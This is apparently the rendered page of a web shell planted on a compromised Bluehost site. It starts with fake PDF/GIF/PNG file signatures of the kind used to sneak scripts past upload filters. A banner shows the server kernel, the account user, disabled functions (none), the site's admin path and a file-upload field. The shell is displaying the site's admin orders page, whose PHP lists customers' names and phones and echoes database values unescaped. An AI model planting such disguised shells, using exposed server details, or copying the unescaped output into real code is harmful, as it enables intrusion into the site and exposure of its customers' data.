%PDF- %GIF98; %PNG;
Server : ApacheSystem : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64 User : ndkhermy ( 1200) PHP Version : 8.5.12 Disable Function : NONE Directory : /home1/ndkhermy/www/website_6ca89795/admin/ |
Upload File : |
<?php
session_start();
if(!isset($_SESSION["username"])) {
header('location:../admin.php');
exit();
}
include('header.php');
include('../dbcon.php');
$query = "SELECT
id AS order_id,
full_name,
phone,
total_amount,
payment_type,
order_status,
created_at
FROM orders
ORDER BY id DESC";
$result = $conn->query($query);
?>
<div class="container">
<h2>Orders</h2>
<table class="table table-bordered">
<thead>
<tr>
<th>No.</th>
<th>Order ID</th>
<th>Customer</th>
<th>Phone</th>
<th>Total</th>
<th>Payment</th>
<th>Status</th>
<th>Date</th>
<th>Action</th>
</tr>
</thead>
<tbody>
<?php
if($result && $result->num_rows > 0)
{
$count = 0;
while($row = $result->fetch_assoc())
{
$count++;
?>
<tr>
<td><?php echo $count; ?></td>
<td>#<?php echo $row['order_id']; ?></td>
<td><?php echo $row['full_name']; ?></td>
<td><?php echo $row['phone']; ?></td>
<td>USD <?php echo $row['total_amount']; ?></td>
<td><?php echo $row['payment_type']; ?></td>
<td><?php echo $row['order_status']; ?></td>
<td><?php echo date("d M Y",strtotime($row['created_at'])); ?></td>
<td>
<a class="btn btn-primary btn-sm"
href="orderform.php?sid=<?php echo $row['order_id']; ?>">
Status
</a>
<a class="btn btn-success btn-sm"
href="invoice.php?order_id=<?php echo $row['order_id']; ?>">
Invoice
</a>
</td>
</tr>
<?php
}
}
else
{
?>
<tr>
<td colspan="9">No Orders Found</td>
</tr>
<?php
}
?>
</tbody>
</table>
</div>
<!-- / Content -->
<div class="content-backdrop fade"></div>
</div>
<!-- Content wrapper -->
</div>
<!-- / Layout page -->
</div>
</div>
<!-- / Layout wrapper -->
<!-- Core JS -->
<!-- build:js assets/vendor/js/core.js -->
<script src="../assets/vendor/libs/jquery/jquery.js"></script>
<script src="../assets/vendor/libs/popper/popper.js"></script>
<script src="../assets/vendor/js/bootstrap.js"></script>
<script src="../assets/vendor/libs/perfect-scrollbar/perfect-scrollbar.js"></script>
<script src="../assets/vendor/js/menu.js"></script>
<!-- endbuild -->
<!-- Vendors JS -->
<!-- Main JS -->
<script src="../assets/js/main.js"></script>
<!-- Page JS -->
<!-- Place this tag in your head or just before your close body tag. -->
<script async defer src="https://buttons.github.io/buttons.js"></script>
</body>
</html>